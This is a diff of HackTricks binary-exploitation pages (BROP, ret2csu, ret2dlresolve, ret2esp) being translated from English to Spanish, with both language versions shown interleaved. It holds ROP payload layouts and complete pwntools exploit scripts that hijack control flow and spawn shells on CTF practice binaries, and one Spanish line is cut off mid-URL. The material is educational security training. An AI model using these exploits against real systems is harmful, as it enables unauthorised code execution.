`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address. Si el **STOP se ejecuta**, esto básicamente significa que se utilizó una **dirección que está sacando 6 registros** de la pila. O que la dirección utilizada también era una dirección STOP.
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers: Para **eliminar esta última opción**, se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sí sacó 6 registros:
`'A' * offset + canary + rbp + ADDR` `'A' * offset + canary + rbp + ADDR`
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**. Conociendo la dirección del gadget ret2csu, es posible **inferir la dirección de los gadgets para controlar `rsi` y `rdi`**.
### 6. Find PLT ### 6. Encontrar PLT
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed. La tabla PLT se puede buscar desde 0x400000 o desde la **dirección RIP filtrada** de la pila (si se está utilizando **PIE**). Las **entradas** de la tabla están **separadas por 16B** (0x10B), y cuando se llama a una función, el servidor no falla incluso si los argumentos no son correctos. Además, verificar la dirección de una entrada en el **PLT + 6B tampoco falla** ya que es el primer código ejecutado.
Therefore, it's possible to find the PLT table checking the following behaviours: Por lo tanto, es posible encontrar la tabla PLT verificando los siguientes comportamientos:
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash - `'A' * offset + canary + rbp + ADDR + STOP` -> no falla
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash - `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no falla
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash - `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no falla
### 7. Finding strcmp ### 7. Encontrar strcmp
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program. La función **`strcmp`** establece el registro **`rdx`** a la longitud de la cadena que se está comparando. Nota que **`rdx`** es el **tercer argumento** y necesitamos que sea **mayor que 0** para luego usar `write` para filtrar el programa.
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions: Es posible encontrar la ubicación de **`strcmp`** en el PLT basado en su comportamiento utilizando el hecho de que ahora podemos controlar los 2 primeros argumentos de las funciones:
- strcmp(\<non read addr>, \<non read addr>) -> crash - strcmp(\<dirección no leída>, \<dirección no leída>) -> falla
- strcmp(\<non read addr>, \<read addr>) -> crash - strcmp(\<dirección no leída>, \<dirección leída>) -> falla
- strcmp(\<read addr>, \<non read addr>) -> crash - strcmp(\<dirección leída>, \<dirección no leída>) -> falla
- strcmp(\<read addr>, \<read addr>) -> no crash - strcmp(\<dirección leída>, \<dirección leída>) -> no falla
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one: Es posible verificar esto llamando a cada entrada de la tabla PLT o utilizando el **camino lento del PLT** que consiste básicamente en **llamar a una entrada en la tabla PLT + 0xb** (que llama a **`dlresolve`**) seguido en la pila por el **número de entrada que se desea sondear** (comenzando en cero) para escanear todas las entradas PLT desde la primera:
- strcmp(\<non read addr>, \<read addr>) -> crash - strcmp(\<dirección no leída>, \<dirección leída>) -> falla
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Fallará
- strcmp(\<read addr>, \<non read addr>) -> crash - strcmp(\<dirección leída>, \<dirección no leída>) -> falla
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> no crash - strcmp(\<dirección leída>, \<dirección leída>) -> no falla
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Remember that: Recuerda que:
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`** - BROP + 0x7 apunta a **`pop RSI; pop R15; ret;`**
- BROP + 0x9 point to **`pop RDI; ret;`** - BROP + 0x9 apunta a **`pop RDI; ret;`**
- PLT + 0xb point to a call to **dl_resolve**. - PLT + 0xb apunta a una llamada a **dl_resolve**.
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0. Habiendo encontrado `strcmp`, es posible establecer **`rdx`** a un valor mayor que 0.
> [!TIP] > [!TIP]
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary. > Nota que generalmente `rdx` ya tendrá un valor mayor que 0, así que este paso podría no ser necesario.
### 8. Finding Write or equivalent ### 8. Encontrar Write o equivalente
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.** Finalmente, se necesita un gadget que exfiltre datos para exfiltrar el binario. Y en este momento es posible **controlar 2 argumentos y establecer `rdx` mayor que 0.**
There are 3 common funtions taht could be abused for this: Hay 3 funciones comunes que podrían ser abusadas para esto:
- `puts(data)` - `puts(data)`
- `dprintf(fd, data)` - `dprintf(fd, data)`
- `write(fd, data, len(data)` - `write(fd, data, len(data)`
However, the original paper only mentions the **`write`** one, so lets talk about it: Sin embargo, el documento original solo menciona la **`write`**, así que hablemos de ella:
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**. El problema actual es que no sabemos **dónde está la función write dentro del PLT** y no sabemos **un número de fd para enviar los datos a nuestro socket**.
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections. Sin embargo, sabemos **dónde está la tabla PLT** y es posible encontrar write basado en su **comportamiento**. Y podemos crear **varias conexiones** con el servidor y usar un **FD alto** esperando que coincida con algunas de nuestras conexiones.
Behaviour signatures to find those functions: Firmas de comportamiento para encontrar esas funciones:
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found - `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Si hay datos impresos, entonces se encontró puts
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found - `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Si hay datos impresos, entonces se encontró dprintf
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found - `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Si hay datos impresos, entonces se encontró write
## Automatic Exploitation ## Explotación Automática
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper) - [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## References ## Referencias
- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) - Documento original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
## ##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Información Básica
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. **ret2csu** es una técnica de hacking utilizada cuando intentas tomar control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa.
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada `__libc_csu_init`.
### The Magic Gadgets in \_\_libc_csu_init ### Los Gadgets Mágicos en \_\_libc_csu_init
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight: En **`__libc_csu_init`**, hay dos secuencias de instrucciones (gadgets) a destacar:
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
1. La primera secuencia nos permite configurar valores en varios registros (rbx, rbp, r12, r13, r14, r15). Estos son como espacios donde podemos almacenar números o direcciones que queremos usar más tarde.
```armasm ```armasm
pop rbx; pop rbx;
pop rbp; pop rbp;
@ -25,22 +24,18 @@ pop r14;
pop r15; pop r15;
ret; ret;
``` ```
Este gadget nos permite controlar estos registros al sacar valores de la pila y colocarlos en ellos.
This gadget allows us to control these registers by popping values off the stack into them. 2. La segunda secuencia utiliza los valores que configuramos para hacer un par de cosas:
- **Mover valores específicos a otros registros**, preparándolos para que los usemos como parámetros en funciones.
2. The second sequence uses the values we set up to do a couple of things: - **Realizar una llamada a una ubicación** determinada al sumar los valores en r15 y rbx, y luego multiplicar rbx por 8.
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
```armasm ```armasm
mov rdx, r15; mov rdx, r15;
mov rsi, r14; mov rsi, r14;
mov edi, r13d; mov edi, r13d;
call qword [r12 + rbx*8]; call qword [r12 + rbx*8];
``` ```
3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesites una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir algunas **condiciones** para alcanzarlo:
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
```armasm ```armasm
mov rdx, r15; mov rdx, r15;
mov rsi, r14; mov rsi, r14;
@ -52,50 +47,46 @@ jnz <func>
... ...
ret ret
``` ```
Las condiciones serán:
The conditions will be: - `[r12 + rbx*8]` debe apuntar a una dirección que almacene una función callable (si no hay idea y no hay pie, puedes usar simplemente la función `_init`):
- Si \_init está en `0x400560`, usa GEF para buscar un puntero en la memoria hacia ella y hacer que `[r12 + rbx*8]` sea la dirección con el puntero a \_init:
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
```bash ```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560 gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory [+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]" 0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]" 0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
``` ```
- `rbp` y `rbx` deben tener el mismo valor para evitar el salto
- Hay algunos pops omitidos que necesitas tener en cuenta
- `rbp` and `rbx` must have the same value to avoid the jump ## RDI y RSI
- There are some omitted pops you need to take into account
## RDI and RSI Otra forma de controlar **`rdi`** y **`rsi`** desde el gadget ret2csu es accediendo a sus offsets específicos:
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Check this page for more info: Consulta esta página para más información:
{{#ref}} {{#ref}}
brop-blind-return-oriented-programming.md brop-blind-return-oriented-programming.md
{{#endref}} {{#endref}}
## Example ## Ejemplo
### Using the call ### Usando la llamada
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. Imagina que quieres hacer una syscall o llamar a una función como `write()`, pero necesitas valores específicos en los registros `rdx` y `rsi` como parámetros. Normalmente, buscarías gadgets que configuren estos registros directamente, pero no puedes encontrar ninguno.
Here's where **ret2csu** comes into play: Aquí es donde entra en juego **ret2csu**:
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. 1. **Configura los Registros**: Usa el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15.
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. 2. **Usa el Segundo Gadget**: Con esos registros configurados, usas el segundo gadget. Esto te permite mover tus valores elegidos a `rdx` y `rsi` (desde r14 y r13, respectivamente), preparando los parámetros para una llamada a función. Además, al controlar `r15` y `rbx`, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en `[r15 + rbx*8]`.
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
Tienes un [**ejemplo usando esta técnica y explicándolo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), y este es el exploit final que utilizó:
```python ```python
from pwn import * from pwn import *
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!" print(p.recvline()) # should receive "Awesome work!"
``` ```
> [!WARNING] > [!WARNING]
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. > Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, está destinado a simplemente llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
### Bypassing the call and reaching ret ### Eludir la llamada y alcanzar ret
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, está **eludiendo las comparaciones y alcanzando el `ret`** después de la llamada:
```python ```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload) target.sendline(payload)
target.interactive() target.interactive()
``` ```
### ¿Por Qué No Usar libc Directamente?
### Why Not Just Use libc Directly? Usualmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,38 +2,37 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. Como se explicó en la página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) y [**Relro**](../common-binary-protections-and-bypasses/relro.md), los binarios sin Full Relro resolverán símbolos (como direcciones a bibliotecas externas) la primera vez que se utilizan. Esta resolución ocurre llamando a la función **`_dl_runtime_resolve`**.
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. La función **`_dl_runtime_resolve`** toma del stack referencias a algunas estructuras que necesita para **resolver** el símbolo especificado.
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). Por lo tanto, es posible **falsificar todas estas estructuras** para hacer que la resolución dinámica vincule el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**).
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `$'/bin/sh'`.
> [!TIP] > [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. > Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) y no hay formas de filtrar direcciones de libc.
Chek this video for a nice explanation about this technique in the second half of the video: Mira este video para una buena explicación sobre esta técnica en la segunda mitad del video:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Or check these pages for a step-by-step explanation: O consulta estas páginas para una explicación paso a paso:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary ## Resumen del Ataque
1. Write fake estructures in some place 1. Escribir estructuras falsas en algún lugar
2. Set the first argument of system (`$rdi = &'/bin/sh'`) 2. Establecer el primer argumento de system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** 3. Colocar en el stack las direcciones a las estructuras para llamar a **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve` 4. **Llamar** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument 5. **`system`** será resuelto y llamado con `'/bin/sh'` como argumento
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
De la [**documentación de pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), así es como se ve un ataque **`ret2dlresolve`**:
```python ```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf) >>> rop = ROP(elf)
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system 0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index] 0x0048: 0x15670 [dlresolve index]
``` ```
## Ejemplo
## Example ### Pwntools Puro
### Pure Pwntools
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
Puedes encontrar un [**ejemplo de esta técnica aquí**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **que contiene una muy buena explicación de la cadena ROP final**, pero aquí está el exploit final utilizado:
```python ```python
from pwn import * from pwn import *
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive() p.interactive()
``` ```
### Crudo
### Raw
```python ```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell! # Enjoy the shell!
target.interactive() target.interactive()
``` ```
## Otros Ejemplos y Referencias
## Other Examples & References
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. - 32bit, sin relro, sin canary, nx, sin pie, desbordamiento de búfer básico y retorno. Para explotarlo, se utiliza el bof para llamar a `read` nuevamente con una sección `.bss` y un tamaño mayor, para almacenar allí las tablas falsas de `dlresolve` para cargar `system`, regresar a main y volver a abusar del bof inicial para llamar a dlresolve y luego `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,24 @@
## **Ret2esp** ## **Ret2esp**
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. **Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, el ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode.
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) activo, puede ser necesario buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y puede que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. Además, poder colocar el shellcode **después de la corrupción del EIP**, en lugar de en medio de la pila, asegura que cualquier instrucción `push` o `pop` ejecutada durante la operación de la función no interfiera con el shellcode. Esta interferencia podría ocurrir si el shellcode se colocara en medio de la pila de la función.
### Lacking space ### Falta de espacio
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
Si te falta espacio para escribir después de sobrescribir el RIP (quizás solo unos pocos bytes), escribe un shellcode inicial **`jmp`** como:
```armasm ```armasm
sub rsp, 0x30 sub rsp, 0x30
jmp rsp jmp rsp
``` ```
Y escribe el shellcode temprano en la pila.
And write the shellcode early in the stack. ### Ejemplo
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
Puedes encontrar un ejemplo de esta técnica en [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable
```python ```python
from pwn import * from pwn import *
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120 payload = b'A' * 120
payload += p64(jmp_rsp) payload += p64(jmp_rsp)
payload += asm(''' payload += asm('''
sub rsp, 10; sub rsp, 10;
jmp rsp; jmp rsp;
''') ''')
pause() pause()
p.sendlineafter('RSP!\n', payload) p.sendlineafter('RSP!\n', payload)
p.interactive() p.interactive()
``` ```
